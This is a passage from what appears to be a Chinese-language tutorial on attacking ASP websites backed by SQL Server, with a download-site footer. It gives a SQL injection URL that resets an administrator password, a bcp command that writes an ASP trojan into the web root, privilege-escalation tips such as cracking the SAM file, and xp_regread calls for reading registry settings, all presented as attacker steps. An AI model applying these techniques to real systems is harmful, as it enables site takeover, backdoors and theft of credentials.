56、法,可以得到第二用户名的密码,第三个用户的密码等等,直到表中的所有用户的密码。密码有时是经MD5加密的,可以改密码。HTTP:/xxx.xxx.xxx/abc.asp?p=YY;update TestDB.dbo.admin set pwd= . where username=www;- ( 1的MD5值为:AAABBBCCCDDDEEEF,即把密码改成1;www为已知的用户名)用同样的方法当然可把密码改原来的值。3、利用表内容导成文件功能SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命

57、令导出形成ASP文件。命令行格式如下:bcp select * from text.foo queryout c:inetpubwwwrootruncommand.asp c S localhost U sa P foobar (S参数为执行查询的服务器,U参数为用户名,P参数为密码,最终上传了一个runcommand.asp的木马) 六、得到系统的管理员权限ASP木马只有USER权限,要想获取对系统的完全控制,还要有系统的管理员权限。怎么办?提升权限的方法有很多种:上传木马,修改开机自动运行的.ini文件(它一重启,便死定了);复制CMD.exe到scripts,人为制造UNICODE漏洞;

58、下载SAM文件,破解并获取OS的所有用户名密码;等等,视系统的具体情况而定,可以采取不同的方法。七、几个SQL-SERVER专用手段1、利用xp_regread扩展存储过程修改注册表xp_regread另一个有用的内置存储过程是xp_regXXXX类的函数集合(Xp_regaddmultistring,Xp_regdeletekey,Xp_regdeletevalue,Xp_regenumkeys,Xp_regenumvalues,Xp_regread,Xp_regremovemultistring,Xp_regwrite)。攻击者可以利用这些函数修改注册表,如读取SAM值,允许建立空连接,开

59、机自动运行程序等。如:exec xp_regread HKEY_LOCAL_MACHINE,SYSTEMCurrentControlSetServiceslanmanserverparameters, nullsessionshares 确定什么样的会话连接在服务器可用。exec xp_regenumvaluesHKEY_LOCAL_MACHINE,SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities 显示服务器上所有SNMP团体配置,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。2、利用其他存储过程去改变服务器xp_servicecontrol过程允许用户启动,停止服务。如:(exec master.

展开阅读全文
温馨提示:
1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
2: 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
3.本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
关于我们 - 网站声明 - 网站地图 - 资源地图 - 友情链接 - 网站客服 - 联系我们

copyright@ 2023-2025  zhuangpeitu.com 装配图网版权所有   联系电话:18123376007

备案号:ICP2024067431-1 川公网安备51140202000466号


本站为文档C2C交易模式,即用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知装配图网,我们立即给予删除!